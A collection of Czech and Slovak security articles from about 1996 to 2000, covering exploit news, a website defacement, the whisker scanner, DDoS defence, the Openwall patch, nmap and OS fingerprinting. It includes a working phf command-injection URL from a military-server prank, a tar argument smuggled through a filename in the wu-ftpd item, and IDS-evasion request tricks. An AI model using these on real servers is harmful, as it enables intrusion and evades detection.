isty cas som si na svojej domacej stranke spravil taku linku, ktora sa volala "fingernite ma cez server ministerstva armady CR" a potom tam bola linka na http://www.army.cz/cgi-bin/phf?Qalias=x%0afinger+-oberheim%40uts.cc.utexas.edu no a ono to takto realne fungovalo asi 2 mesiace, ze ked niekto xcel zistit ci som pripojeny na svoje konto oberheim@uts.cc.utexas.edu, tak si mohol hentak spustit finger cez armadu... dufal som cely cas ze na to pride ten armadny admin.. ze to najde v logoch abo take cosi.. ale nic.. az potom generic, ktoremu som henten scriptik predviedol spravil tie slavne html fajly "lide bdete, spi nad vami armada cinske republiky", tak som ich tam prskol cez rcp zo servera Budapestskeho narodneho muzea, co bol vtedy taky moj favorite gateway... toto bolo zaciatkom novembra '96.. no a na svete bol prvy znamy cesko/slovensky WWW hack.

ach jo, tehdy to bylo jednoduché, že?

linux nebo windows?

díky mnoha čtenářům za upozornění na článek, který vyšel na serveru faxmodem.cz. originál je možno vidět zde a v podstatě z něj vyplývá, že linux je velmi špatný systém a že na windows dosáhnete mnoha věcí rychleji, snadněji a lépe. bohužel je však plný mnoha nepochopení a dokonce by mohl výborně posloužit jako příklad v našem miniseriálu o FUD. my se dnes na tento text podíváme a zkusíme vyvrátit některá tvrzení.

cituji z hned prvního odstavce: nevíte-li o počítačích skoro nic a přesto se necháte nalákat (na linux, pozn. ug.cz), můžete být hodně zklamáni. koupit si linux na CD za 100 korun není problém. instalace podle pokynu proběhne asi hladce, ale to je všechno. po instalaci nejde skoro nic. jedině, co funguje, je disk na kterém je linux. označuje se /. naopak, nainstalujete-li windows, tak jde hned všechno a můžete ihned na internet.

fakta: hned po instalaci například red hat 5.2 (distribuce staré asi rok!) a mnoha novějších distribucí lze počítač používat jako internetový server bez dodatečné konfigurace.

fakta: autor bohužel nijak nespecifikuje, jaké nic mu na linuxu nechodí a jaké všechno mu na windows chodí, což ztěžuje možnost argumentace. předpokládejme tedy zatím, že se jedná o hardware, takže: zatímco běžný hardware je posledními distribucemi bez problémů autodetekován, může být linux obtížnější na konfiguraci nestandardního hardware. myslím však, že stejný problém najdeme i u windows, takže obviňování linuxu není na místě.

dále autor článku popisuje konfiguraci modemové linky pomocí pppd options. odstavce se hemží AT příkazy, slovy jako /dev/cua, defaultroute a dalšími, což má zřejmě za cíl demonstrovat naprostou nepřehlednost konfigurace modemového připojení - končí úžasnou větou "jsem přesvědčen, že po přečtení těchto řádků raději zaplatíte pár tisíc za windows".

fakta: tento "ruční" způsob konfigurace vám může umožnit dělat s připojením různá kouzla, například nastavit dial-on-demand (vytáčení linky dle potřeby, rozšířené o systémy přístupových práv a různých dalších vlastností), callback (zavoláte serveru a zavěsíte, server se za chvíli sám s vámi spojí.)

fakta: pokud se uživatel nechce babrat s ruční konfigurací, nikdo a nic mu nebrání v použití některého z mnoha grafických programů na nastavení ppp, velmi podobných jako je ten z windows. namátkou uvedeme třeba kppp (důkaz zde) nebo gnome-ppp (důkaz zde).

další citát: "ale je tady ještě grafické rozhraní, netscape pro linux aj. když to dobře půjde, tak za rok se do internetu snad připojíte. nebo si koupit windows 98 a v internetu jste za hodinu po instalaci."

fakta: s linuxem se komplet připojím k internetu do 10 minut po instalaci - to že se autorovi něco nepovedlo, neznamená že to nejde. uznávám ovšem, že používání linuxu je trochu problematické pro počítačové laiky. linux byl vyvíjen spíš jako systém pro servery a tudíž spravovaný a používaný vyškolenými lidmi, ale v poslední době velmi dohání desktopový náskok microsoftu. stačí se třeba podívat na distribuci mandrake, která je linuxovou špičkou pro použití na desktopech a v uživatelské přítulnosti může směle konkurovat windows 98.

pokračujeme citátem "na konec se podíváme na hardwarové nároky. dlouho se linux "chlubil" tím, že mu stačí počítač 386 a 8MB ram. není tomu tak. dnes se nechá sehnat počítač vhodný pro připojení do internetu, např. v bazaru, za minimální cenu. např. počítač 486 DX80, 8MB ram, 200 MB disk nestojí víc než 3 tisíce. na takový počítač, bez problémů nainstalujete windows 95. ale linux, s grafickým rozhraním... ani ve snu. jenom samotný operační systém linux zabere nejméně 300MB."

fakta: na určité úlohy, například router, linuxu skutečně stačí starý křáp za pár korun. na náročnější nasazení, například grafická stanice, je rozumné použít něco výkonnějšího.

fakta: instalace serveru z běžné distribuce zabere něco přes 150 megabajtů, grafická workstation cca 200. ale to zahrnuje jak "samotný operační systém", tak aplikace, a navíc mluvím o běžné, nijak neoptimalizované distribuci. věřím, že by se našlo mnoho odborníků, kteří by byli schopni vyrobit distribuci grafické stanice pro připojení na internet, která by dosahovala velikosti několika málo desítek megabajt. autorův údaj o místu na disku prostě není pravdivý a spíš vychází z jeho neznalosti systému - když si člověk instaluje každou prkotinu, není divu, že při 1.300 programech v dnešních distribucích instalace lehce přesáhne 300 MB.

fakta: na uvedené hardwarové konfiguraci není problém zprovoznit linux s grafickým rozhraním. bude stejně výkonný jako windows na obdobném železu, ale dá se předpokládat mnohem vyšší stabilita. takže tvrzení o nemožnosti provozu grafické stanice na takovém hardware také není pravdivé a nabízí se spekulace že to autor ani nevyzkoušel.

závěr: uznávám, že linux má ještě dost co dohánět v jednoduchosti používání laiky. autor jako laik s ním má tím pádem problémy. ovšem v článku nepíše "nerozchodil jsem linux a tudíž asi není pro mne", což by byl normální závěr jeho neúspěchu, autor píše "nerozchodil jsem linux a tudíž je linux k ničemu". a to je rozhodně chybná implikace.

kromě toho v článku nezaznívají žádné konkrétní důkazy, když autor zabrousí do detailů, píše je chybně. téměř všechny podstatné výhrady proti linuxu uvedené v článku lze velmi jednoduchými argumenty vyvrátit. jen tak dál, takové články proti linuxu se mi líbí :)

(nechci nikomu vnucovat svůj názor, ale toto jsou jenom fakta:))

sekurity news 15.

dnes se zmíníme o dvou chybách v linuxu, první jest nově objevená bezpečnostní díra v serveru wu-ftpd 2.6.0. lépe řečeno - není to chyba samotného programu, ale spíš konfigurace. běžné nastavení programu wu-ftpd totiž umožňuje kompresi dat a archivaci adresářů, pokud o to uživatel požádá. v praxi to funguje tak, že na serveru je uložen soubor s názvem třeba "porno". pokud napíšete příkaz "get porno.gz", soubor se automaticky zkomprimuje a stáhne. to samé funguje s příkazem tar pro celé adresáře. jenže program tar, který je pro tuto činnost externě volán, umožňuje zadat zajímavé parametry. problém lze zneužít například uploadnutím souboru s názvem "--use-compress-program=příkaz".

aby mohl chybu zneužít anonymní uživatel, musí na serveru mít zapisovatelný adresář. dál musí být wu-ftpd zkonfigurované tak, aby spouštělo tar při requestu na soubor s koncovkou tar. tato konfigurace je ovšem defaultní u mnoha aktuálních distribucí, takže si to dejte do pořádku. podrobnosti a exploit najdete zde.

linuxconf buffer overflow

nedávno bylo pozorováno několik skenů na port 98, kde visí linuxconf - grafický konfigurátor linuxu. později dokonce jeden z uživatelů konference incidents našel exploit, který zneužívá buffer overflow v blíže nespecifikované verzi linuxconfu. problém není ještě potvrzen, ale vzhledem k existenci exploitu je více než pravděpodobné, že existuje. ti paranoidnější z vás mají linuxconf určitě disablovaný, ti kteří ho mají povolený mají teď aspoň o důvod víc proč ho zakázat.

český mobil hacknut

jiří lorenz 5. 1. 2000 (10:17)

dnes ráno byl hacknul web českého mobilu. neznámí vtipálci pozměnili jejich vizáž, díky pohotovosti jistého čtenáře máme kopii, kterou je možno shlédnout zde.

podívejme se trochu více na způsob, jakým to mohlo být uděláno. český mobil má hosting u pvt.netu, jak dokazuje nslookup.

 

 

[root@localhost /]# nslookup www.ceskymobil.cz

Name: nthosting.pvt.net

Address: 195.47.116.41

Aliases: www.ceskymobil.cz

 

 

ntčka nejdou tak lehko hacknout na dálku, ale při dalším použití nslookupu však zjistíme daleko snažší cestu - nameservery pvt.net běží na linuxu. a tady by mohl být bude kámen úrazu, protože některé verze linuxového bindu mají problém s buffer overflow (ostatně viz naše sekurity news).

pravděpodobný scénář celého hacku mohl tedy být následující:

• útočníci získali root práva na nameserveru pvt.net

• někam uploadli změněné stránky českého mobilu

• přesměrovali DNS, aby ukazovalo na jiné stránky

pokud by byl hacknut jen hostingový stroj, ohrozí to pouze weby přímo na něm umístěné, a těch nebude málo. pokud by ovšem byl hacknut nameserver (a zdroj z českého mobilu, který si nepřeje být jmenován, to potvrzuje), znamenalo by to, že žádná doména na nameserverech pvt.net není v bezpečí. jak byla ta reklama? vaše data střežíme jako oko v hlavě?

whiskera na váš webserver!

jiří lorenz 6. 1. 2000 (06:46)

dnes vám představíme skvělý nástroj, který by neměl chybět žádnému adminovi či hakerózovi. je jím cgi/httpd skener whisker. tento program jde oproti jiným podobným nástrojům na hledání děravých programů na webserveru úplně jinou cestou. když se podíváte na packetstorm nebo rootshell, najdete tam plno cgi skenerů. všechny jdou maximalistickou cestou - brutální silou (skvělej výraz) hledají co nejvíc skriptů, což je jednak časově náročné a jednak jsou logy na cílové mašině plné záznamů o našich pokusech.

rain forrest puppy z proslulé hackerské skupiny ADM si dal za úkol naprogramovat jednoduchý a přitom snadno rozšiřitelný univerzální skener. tak vznikl whisker, v podstatě pouze program, který interpretuje poměrně složitý konfigurační soubor s definicemi skenů. jazyk umožňuje definovat téměř libovolné skeny, dokonce umí něco jako podmínky. například:

• lze ukončit sken programů v /cgi-bin, pokud zjistíte, že cgi-bin vůbec neexistuje.

• pokud rozpozná typ webserveru, nadále se ptá pouze na programy které pod tímto webserverem běhají. je třeba zbytečné zjišťovat přítomnost děravého programu pro IIS, když server běží na apache.

• umožňuje definovat formát vstupních dat - někdy máte k dispozici přehledný seznam IP adres, někdy jen výstup z nmapu, někdy jakýsi divný soubor s naplácanými adresami. whisker tohle všechno v pohodě sežere

• používá různé triky jak obejít systémy detekce útoků. příkladem budiž kompletně URL-encodovaný dotaz řetězce, což je podle RFC naprosto v pořádku, ovšem ujde to pozornosti velké části intrusion detection systémů. (toto je samo o sobě téma na další článek a my se k němu určitě vrátíme)

takže kde whisker sehnat? zde jsou příslušné adresy:

whisker homepage: http://www.wiretrip.net/rfp/p/doc.asp?id=21

tar.gz poslední verze: http://www.wiretrip.net/rfp/bins/whisker/whisker.tar.gz

dokumentace: http://www.wiretrip.net/rfp/bins/whisker/whisker.txt

příklady skenovacích skriptů: http://www.wiretrip.net/rfp/p/doc.asp?id=22

antidetekční taktiky whiskeru

jiří lorenz 19. 1. 2000 (06:34)

když jsme posledně probírali whisker, cgi skener s mnoha zajímavými vlastnostmi, zmínil jsem se o tom, že tento program umí používat jisté techniky, které mají za cíl vyhnout se detekování softwarem snažícím se zjistit probíhající útoky na server. dnes se na tedy na to podíváme blíž. (dodejme, že nechceme pomáhat hackerům, ono ani pro správce nebo programátory není od věci znát fígle protivníka.)

nejdříve si řekneme co takový jednoduchý systém detekce útoku (IDS, intrusion detection system) dělá. pro účely tohoto článku se budeme bavit pouze o IDS systémech na ochranu webserveru. útočník dejme tomu zjišťuje, jestli je na serveru přítomen děravý skript phf. pošle tedy request GET /cgi-bin/phf a sleduje co mu vrátí server. IDS systém má databázi děravých skriptů a jakmile v logách zaregistruje řetězec znaků "GET /cgi-bin/phf", spustí poplach.

whisker ovšem bravurně využívá širokých možností HTTP protokolu, povolených v RFC specifikaci, a odeslané dotazy mírně modifikuje tak, aby webserver stále vracel korektní odpovědi, ale IDS systém nepoznal žádnou neplechu. zde jsou příklady některých technik používaných whisker skenerem:

použití jiné http metody

některé IDS systémy (včetně námi recenzovaného guarda) zjišťují, jestli logy neobsahují řetězec GET /program. my však můžeme místo GET použít HEAD a stále se dobereme správného výsledku, aniž by to však detektor útoku poznal.

použití dvojtečky v cestě

místo dotazu GET /program lze použít GET /blabla/../program, což opět vrátí správný výsledek, ale IDS to nepozná.

použití tečky v cestě

podobně jako v předchozím případě můžeme použít jednu tečku - GET /cgi-bin/./phf nám zjistí zda existuje soubor /cgi-bin/phf, protože jak na unixu tak na windows znamená jedna tečka odkaz na aktuální adresář.

použití dlouhého jména

dvojtečkový trik můžeme ještě vylepšit: některé IDS systémy se pro zjednodušení dívají pouze na prvních x znaků v dotazu. takže když pošleme GET /necohodnedlouheho/../cgi-bin/phf, jednoduchým trikem toto zneužijeme a náš dotaz zůstane nezpozorován.

další taktiky lze najít v dokumentu publikovaném této adrese. pokud chcete příslušný trik použít, vyhledejte si jeho číslo v dokumentaci a toto číslo specifikujte s parametrem -I. whisker pak za vás provede příslušnou modifikaci dotazu, a tím zvýší pravděpodobnost, že ujdete pozornosti detekčního systému.

sekurity news 17.

jiří lorenz 26. 1. 2000 (07:13)

majordomo má stále problémy s bezpečností

nedávno objevená chyba, kdy šlo spouštět libovolné příkazy s uid majordoma, nebyla jediná. zjistilo se, že i fixnutá verze stále umožňuje spouštět příkazy, tentokrát pomocí parametru -C, kterým specifikujete vlastní konfigurační soubor. ten je psán ve formě perlového kódu, takže je to jasné :)

sysklogd fake messages michal zalewski objevil možnost zapisování libovolných textů do logů - protože syslog bere zprávy ze socketu /dev/log, který je zapisovatelný pro všechny, lze do logů zapsat cokoliv. syslog k tomu připojí dodatečná data jako datum a prioritu, a celé to zapíše do logů. dá se tím velice dobře strašit :)

stream.c - nový denial of service útok proti FreeBSD

na internetu se objevil nový denial of service program, takzvaný stream.c. má fungovat proti freebsd, které zamrznou. windows reagují zvednutím CPU usage na 100%. linux vypadá, že je imunní.

BSD /proc chyba

procfs implementace z BSD unixů obsahují chybu, která umožňuje spuštění libovolného kódu s root právy. pomocí triku se spuštěním setuid binárek a forknutí procesů lze zapsat libovolná data (a tím pádem i spustitelný kód) do paměťového prostoru setuid programu. děravé jsou všechny současné FreeBSD, a ty OpenBSD, jejichž administrátor mountuje /proc filesystém. chcete-li vyzkoušet funkčnost, exploit najdete zde.

 

distributed denial of service

moc klávesnic se v minulých týdnech opotřebovalo, když jejich majitelé psali o distributed DoS útocích. až na několik světlých výjimek to všechno byly hysterické bláboly opakující pořád totéž: server X napaden, FBI hledá Y, ptali jsme se jak jsou čeští ISP připraveni, bude hůř, my to říkali.

informace o tom co je to ten distributed denial of service útok a jak se proti němu bránit najdete bohužel jen na specializovaných serverech, které však běžný uživatel internetu nesleduje. z mainstreamových serverů věcné informace nezveřejnil žádný. ne že bychom underground.cz počítali mezi mainstreamová média, ale přesto se pokusíme problém ddos našim čtenářům osvětlit trochu racionálněji než ostatní.

předně si povíme co je to distributed denial of service. v překladu se dá použít termín "distribuovaný útok odepřením služby". v praxi to znamená, že oběť je zahlcena takovým množstvím síťových paketů, že není schopná vyřizovat legální requesty, ať už protože to výkonově nezvládne ona nebo síť, přes kterou je připojena. toliko denial of service. distributed se to jmenuje kvůli tomu, že útočník (na obrázku pod bodem [1]) stojí před podobným problémem jako oběť (obr. [5]) - chce-li ji zahltit dvěma gigabajty dat, musí dva gigabajty také odeslat, čímž by jako první zahltil sám sebe. takže místo toho, aby proud dat odeslal ze svého počítače, pořídí si (rozuměj hackne) několik desítek klientských počítačů ([3]), rozmístěných pokud možno v různých sítích. stačí pak jen odeslat příkaz k zahlcení ([2]). každý z klientů přiloží ruku k dílu a všichni dohromady se postarají, aby se u oběti sešly požadované gigabajty ([4]).

<Obrázek: [DDoS princip]>

podstatným rozdílem oproti dříve používaným DoS útokům je jejich hrubost a technologická nenáročnost. v minulosti se nejčastěji používaly techniky útoku zneužívající konkrétní chybu konkrétního operačního systému - dá se to přirovnat k přesnému chirurgickému zákroku. obrana byla většinou jednoduchá - stačilo aplikovat daný patch. dnes používané DDoS jsou mnohem horší. obvykle nezneužívají žádnou konkrétní chybu (i když mohou), ale cíl prostě brutálně zahltí, takže imunní není žádný operační systém. v protikladu k chirurgickému zákroku se tohle dá přirovnat ke kobercovému bombardování. nejpoužívanější nástroje pro DDoS útoky jsou poměrně starý trinoo, novější tribal flood network a stacheldraht, či vylepšená varianta tribal flood network TFN2k. všechny fungují na dříve popsaném principu útočník -> klienti -> oběť a jsou k dispozici pro solaris, linux, trinoo od nedávna i pro windows.

teď přichází asi nejpodstatnější část článku - principy obrany proti distributed denial of service útoku. zde nám přijde vhod dokument od simple nomad, nedávno zveřejněný na internetu, popisující základní taktiky obrany. na začátku se autor zabývá modelem útoku a jeho základními nevýhodami, my pro zjednodušení přeskočíme až na konec, kde jsou samotné praktické tipy obrany.

pokud je váš server právě "pod palbou", nejdůležitější je zjistit odkud útok přichází. ideální je mít fyzický přístup k síťovému zařízení, které váš stroj připojuje k internetu. to protože síť je zahlcena a vzdálený přístup tedy nepřichází v úvahu. na tomto zařízení si zjistěte zdrojové adresy probíhajících spojení.

jakmile zjistíte zdroje zahlcení (bude jich pravděpodobně několik desítek!), pomocí IP filtru nechte počítač pakety přicházející z těchto sítí zahazovat. na linuxu lze použít příkazy ipchains -I input -s -j DENY nebo ipfwadm -I -a deny -S . zahazované pakety nelogujte, je jich tolik, že by vám brzo došlo místo na disku. zároveň použijte pravidlo DENY, které paket zahodí bez odezvy. pokud byste použili REJECT, které odesílateli vrátí informaci o odmítnutí spojení, pouze byste zdvojnásobili zatížení sítě.

první část jsme úspěšně zvládli a naše síť je volná. akce ovšem nekončí - uvědomte si, že pakety jsou zahazovány až u nás, takže síť našeho poskytovatele je stále zahlcena. jako další věc (nebo ještě lépe je dobré s tímto krokem začít už dříve, pokud to stíháme) tedy musíme zavolat našeho providera, vysvětlit mu situaci a požádat techniky, aby stejným způsobem blokovali pakety přicházející k nim. provider by pak měl kontaktovat svého poskytovatele připojení, aby ten udělal tu samou věc, a tak dále a tak dále. čím blíž ke zdrojům útoku blokujeme pakety, tím víc se naše síť uvolňuje a náš server se opět stává viditelným pro regulérní uživatele.

zajímavou možností je aktivní obrana. nebojte se, nebudeme zahlcovat síť útočníka, půjdeme na to inteligentněji. na internetu kolují programy, které se pokusí kontaktovat útočníkovy klienty, a tváříc se přitom jako útočník, normálně vydají příkaz k ukončení útoku. fungovat to může, ale nemusí, klienti mohou být chráněni heslem, ale za pokus nic nedáte. každopádně si uvědomte, že příkaz k ukončení útoku je potřeba odesílat z jiné sítě než je ta zahlcená, kterou pakety nemají moc šancí projít. příkladem těchto programů je například zombie_zapper, jehož verze existují jak pro UNIX/Linux, tak pro Windows, nebo trinoo killer.

použití programů na DDoS je bohužel čím dál jednodušší (viz. nedávno zatčený původce útoku na cnn.com - 15letý kanaďan) a struktura internetu nedává moc možností obrany, takže lze očekávat další a další útoky. jedinou skutečnou obranou zůstává prevence - pořádní zabezpečení počítačů, aby je nikdo nemohl použít jako klienty. a když si vzpomeneme na desítky lidí bezstarostně si připojujících své nezabezpečené linuxíky a windowsy na net, nebude to jednoduché a máme se na co těšit.

poznámka martina mačoka: možná se někde setkáte s trochu jinak nazývanými účastníky ddos útoku. to, co jiří v článku označil jako klient se často nazývá jako agent. klient se potom jmenuje ta část programu, kterou má útočník na svém počítači a ovládá s ním distribuované agenty.

 

secure linux patch

9. 3. 2000 (17:45)

clovek, ktery si rika solar designer, pise docela zajimave patche pro linuxovy kernel. jednim z nejznamejsich jeho patchu je secure linux patch. je to kolekce patchu, ktere, jak uz nazev napovida, si davaji za ukol zvysit bezpecnost linuxu. patch je vyvijen pod souhrnnym nazvem linux kernel patch from the openwall project, a je k dispozici ke stazeni z http://www.openwall.com/linux/ pro jadra 2.0.38 a 2.2.12-14.

asi prvni, co vas napadne, je proc to neni soucast oficialni distribuce kernelu - duvodu je vice. jednak se nektere soucasti do kernelu dostanou, a jednak jsou nektere pouze docasnym a neuplnym resenim, popr. nic neco neresi uplne a autor tudiz se ani prosadit nektere patche nesnazi.

vsechny moznosti tohoto patche jsou konfigurovatelne skrze novou polozku security options v konfiguracnich sekcich linuxoveho jadra. kolekce bezpecnostnich zaplat se v prubehu casu meni - jednak se nektere dostanou do oficialni distribuce nove verze kernelu, jednak se objevi nove problemy a nektere se vyresi jinym zpusobem. co vse nam prinasi verze pro 2.2.14?

uzivatelsky zasobnik bez moznosti spousteni kodu (non-executable user stack area)

vetsina buffer overflow exploitu prepise navratovou hodnotu funkce na zasobniku, aby ukazovala na nejaky podstrceny kod, ktery byva taktez obvykle umisten na zasobniku. takovy kod tento patch spustit nedovoli a vygeneruje varovani do systemoveho logu (kernel.alert - syslog). na druhou stranu 99% vsech exploitu lze prepsat tak, ze nebudou spoustet kod na zasobniku, ale nekde jinde, takze to ve skutecnosti temer nicemu nezabrani - ale jako obrana pred kiddies a mensi ztizeni prace profikovi to poslouzi. tento patch navic zmeni adresy funkci libc (obvykle se vola system() volani), takze i tuto zmenu bude muset novy exploit reflektovat, takze se opet jedna o security through obscurity.

omezene linky v /tmp (restricted links in /tmp)

patch zabrani normalnim uzivatelum vytvaret hardlinky na soubory, ktere jim nepatri, v adresarich, kde je nastaven sticky bit (chmod +t dir), pri pokusu takovy link vytvorit je navic generovan zaznam do logu. dale nedovoli nasledovat v takovem adresari symlink, pokud uzivatel neni zaroven vlastnikem tohoto symlinku (opet generovan zaznam do logu).

omezene fronty v /tmp (restricted fifos in /tmp)

jedna se o obdobu predchozich linku. do neduveryhodne fifo (tedy nevlastni fifo) nebude povolen zapis.

omezena prava v /proc (restricted /proc)

tuto cast patche povazuji za nejpraktictejsi, nejjednodussi a nejzajimavejsi. upravi prava ve strukture /proc tak, ze jenom urcita skupina vyvolenych uzivatelu (defaultne jenom root) bude videt vsechny procesy, otevrene soubory a otevrena spojeni. neprivilegovani uzivatele uvidi pouze svoje procesy (ps aux) a seznam svych otevrenych souboru (lsof), otevrena spojeni neuvidi (netstat -ta). je to pomerne hezka myslenka - co ma kdo videt, jake programy, s jakymi volbami a parametry, a v jakem environmentu (promenne a jejich hodnoty) spousti nekdo jiny? a co je komu do toho, odkud se kam pripojuje, ktere stranky si prohlizi?

specialni zachazeni se souborovymi deskriptory 0, 1 a 2 (special handling of fd 0, 1, and 2)

vzhledem k chovani zakladnich ceckovych knihoven, je mozno spustit program s jednim nebo vice techto deskriptoru (0 standardni vstup, 1 standardni vystup, 2 standardni chybovy vystup) uzavrenych, a pak zavolat open(2), ktere casto vrati novy deskriptor jeden z techto standardnich deskriptoru, a takovy program by pak mohl tento nove otevreny soubor (nedopatrenim) pouzit, jako by se opravdu jednal o stdout, stdin nebo stderr. pokud tento program byl navic suid nebo sgid, mohlo by se jednat o bezpecnostni problem. tento patch zajisti, ze suid a sgid programy budou mit vzdy deskriptory 0,1,2 otevrene (i kdyby se jednalo o /dev/null). autorem tohoto patche pro 2.0.x je pavel kankovsky, solar designer ho portoval na 2.2.x.

upravene pocitani ulimits (enforce rlimit_nproc on execve(2), destroy shared memory segments not in use)

tyto upravy nepovazuji za tak dulezite a uzitecne, nebot podle meho temer nic neresi, daji se obejit temer stejne snadno, jako bez nich. zajemce odkazuji na interni dokumentaci readme u patche.

privilegovane ip aliasy pro 2.0

patch umoznuje zakazat normalnim uzivatelum na 2.0 zakazat, aby pousteli vlastni sluzby na nekterych rozhranich a portech.

instalace je pomerne jednoducha, staci stahnout zmineny patch, aplikovat a prekompilovat jadro. osobne to provozuji na 2.2.15pre1 (to bylo pouze par minoritnich bugfixu, takze pokud to uz budete prekompilovavat, tak doporucuji patchnout), jadro jsem patchoval v tomto poradi: 2.2.14 -> 2.2.15pre1 -> secure linux patch 2.2.14-ow2. at vam slouzi.

sgid man bug

Tato chyba existuje již delší dobu, ale z časových důvodů jsem nestihl ji oznámit dříve. Jako první (pokud je mi známo) si této chyby všiml známý Michal Zalewski, a ohlásil ji 26. února na konferenci BUGTRAQ (jsme to ale vostudy, že jo). Myšlenka je takováto - v naprosté většině linuxových distribucí je program man distribuován jako sgid na skupinu man. Takže pokud se vám podaří exploitnot man, máte práva skupiny man. Co s nimi? Máte neomezený přístup do /var/catman, a na některé manuálové stránky v /usr/man/, které patří skupině man. To se vám možná zdá jako naprosto neškodné, ale do té doby, než zjistíte, že do manuálových stránek lze propašovat skryté příkazy (viz například ftp://dione.ids.pl/people/siewca/security/man/mkroot.9). Takže pokud si root prohlíží manuálové stránky, lze na něj připravit past.

Známý způsob, jak exploitnout man, je skrze dlouhý obsah proměnné MANPAGER (na některých systémech je to proměnná PAGER), exploity na různé systémy si najděte třeba na www.rootshell.com, www.securityfocus.com, v archivu konference BUGTRAQ apod. Zranitelné jsou systémy jako RedHat 6.1 apod. V RH6.2 bude tato chyba opravena, ale netuším, proč zatím nevyšel advisory ani update pro starší RedHaty (třeba jako u Turbo Linuxu). Dočasná obrana je zrušit sgid bit u man (stránky se nebudou cacheovat), nebo neprohlížet manuálové stránky pod rootem (nejlépe obojí, pokud nutně potřebujete man stránku pod rootem, zkuste příkaz su nobody -c "man ls"). Ozývají se totiž hlasy, že program man by podobných bezpečnostních problémů měl mít více, ale ještě je nikdo konkrétně neprokázal.

nmap - mapovac síte

ezdenk socha <mailto:sochaz@alpha.inf.upol.cz> 8. 6. 2000 (06:16)
jestliže chcete videt svou sít z výšky 40 000 stop, pak vám plne postací port scannery pro windows. ale jestli to s bezpecností myslíte vážne a chcete najít díry, které mohou najít i krekri (casto též zvaní hekri), pak venujte chvíli casu na nainstalování linuxu a použití nmap. info world <http://www.insecure.org/nmap/press/infoworld-windows_scanners.txt>

tak nejak by se dal preložit úvod, který najdete na íáhlavn strnce <http://www.insecure.org/nmap/index.html> programu nmap. nmap je pomerne komplexní (a pro normálního uživatele na ovládání možná dost složitá) utilitka pro zkoumání sítí a kontrolu bezpecnosti. nmap podporuje ping-scanning (zjištení, které pocítace na sítí jsou v provozu), mnoho technik na skenování portu (zjištení, které služby daný pocítac nabízí) a tcp/ip fingerprinting (identifikace os, který na daném pocítaci beží).

fyodor <mailto:fyodor@dhp.com> se jistou dobu zabýval otázkou vzdálené detekce os práve pomocí jakýchsi otisku prstu (fingerprints). pozdeji pridal tuto schopnost i do svého prográmku nmap a napsal clánek na toto téma, který byl publikován ve phrack <http://www.phrack.com> 54. vy si jej mužete precíst napr. zde <http://www.insecure.org/nmap/nmap-fingerprinting-article.html>.

nmap není žádný novácek a pomerne dlouho se vyvíjí. díky tomu zvládá své veci pomerne dobre, je solidne optimalizován na rychlost a obsahuje jen minimální množství chyb. poprvé byl predstaven v roce 1997 ve phrack <http://www.phrack.com> 51. od té doby se ledasco zmenilo a kdeco pribylo áoriginl <http://www.insecure.org/nmap/p51-11.txt> mužete porovnat s íaktualizovanou verz <http://www.insecure.org/nmap/nmap_doc.html>. nejaktuálnejší informace však vždy najdete v manuálových stránkách, které jsou na webu prevedeny do podoby html <http://www.insecure.org/nmap/nmap_manpage.html>.

prestože nmap funguje pomerne dobre i na jednotlivé pocítace, je to utilitka predevším na skenování rozsáhlých sítí (nezkoušel bych to na celý internet;-)). hlavní filozofií pro vytvorení nmapu bylo tmtowtdi (existuje více zpusobu, jak to udelat), což je slogan perlu <http://www.perl.org>, ale dá se stejne dobre aplikovat i na port scannery. nekdy potrebujete rychlost, jindy utajení, obcas musíte prekonat nejaký ten firewall. o scanování ruzných protokolu (udp, tcp, icmp, etc.) nemluve. není zrovna ideální mít na svém pocítaci desítky ruzných scanneru pro ruzné veci, navíc s ruzným uživatelským rozhraním a ruznými schopnostmi. a práve proto je tu nmap.

vzhledem ke komplexnosti se mnohým muže na první pohled zdát ovládání z príkazové rádky ponekud složité. pro zjednodušení jsou k dispozici dve základní grafická rozhraní: nmapfe - front-end pro xwiny (gtk+), který najdete prímo v distribuci nmapu, a kmap <http://www.edotorg.org/kde/kmap/>, což je rozhraní pro kde.

jednotlivými funkcemi nmapu se mužeme zabývat v nekterém z dalších clánku, prípadne i popisu jednotlivých technik. zatím jen rada na záver - až budete objevovat, co všechno vlastne nmap umí, zkoušejte to nejdríve na své lokální síti, prípadne doma. mnoho (zkušených) správcu sítí scannery detekuje a loguje ip, prípadne scany hned oplácí. po nekolika scanech se vám muže stát, ze vás váš provider odpojí. je to silný nástroj a možná je i dobre, že zatím neexistuje verze pro m$ winy.

taky není od veci pustit scan na sebe sama a poté si precíst log. není toho málo a v logu je to na první pohled poznatelné. prestože nmap ovládá i urcité utajovací techniky, vetšinu scanu od "méne zkušených" vždy rychle poznáte.

linux? windows? jak to mám vedet?

ríji lorenz <mailto:jiri.lorenz@underground.cz> 23. 6. 2000 (06:38)


informace o tom, na jakém operacním systému beží vzdálený server, se muže hodit leckomu. studentu statistiky píšícímu práci na téma "podíl operacních systému na internetu", hackerovi, který potrebuje o serveru získat co nejvíc informací, správci síte snažícímu se zabránit tomu, aby si uživatelé nepripojovali do síte nepovolené stanice. naštestí existuje nekolik více ci méne spolehlivých technik, jak na to.

v dávných dobách internetu stacil na získání informace o operacním systému nejakého serveru obycejný telnet. proste jste se pokusili pripojit a server vám vetšinou sám rekl co je zac:

fig.1: zjištení OS pomocí telnetu

hacker$ telnet 1.server.cz

Trying 0.0.0.0...

Connected to 0.

Escape character is '^]'.

Welcome to AIX 2.3.4

login:

inzerování operacního systému po celém svete však s rostoucím poctem bezpecnostních incidentu prestalo být žádoucí - s podrobnými informacemi o serveru hacker také získává lepší šanci uplatnit své vedomosti, stací použít exploit zneužívající konkrétní chybu v daném systému. není divu, že správci serveru brzy zacali informace o svých systémech skrývat. editovali úvodní hlášky, takže telnetem jste nic podstatného nezjistili, z webstránek odstranovali pyšné "powered by linux", dokonce prepisovali sítové programy tak, aby skrývaly své verze.

docela dlouho to fungovalo. pred nekolika lety se však objevila technika TCP fingerprinting. ta vychází z predpokladu, že každý operacní systém se v síti chová specifickým zpusobem. znalí sítového protokolu TCP/IP urcite vedí, že každý IP paket nese urcité príznaky, tzv. flagy. ne všechny flagy jsou bežne používány, a tak si je každý operacní systém vetšinou vyplní podle svého a také ruzne reaguje na príchozí pakety s nestandardními flagy. pri znalosti zpusobu jak který systém flagy používá je zjištení konkrétního systému na vzdáleném serveru hrackou.

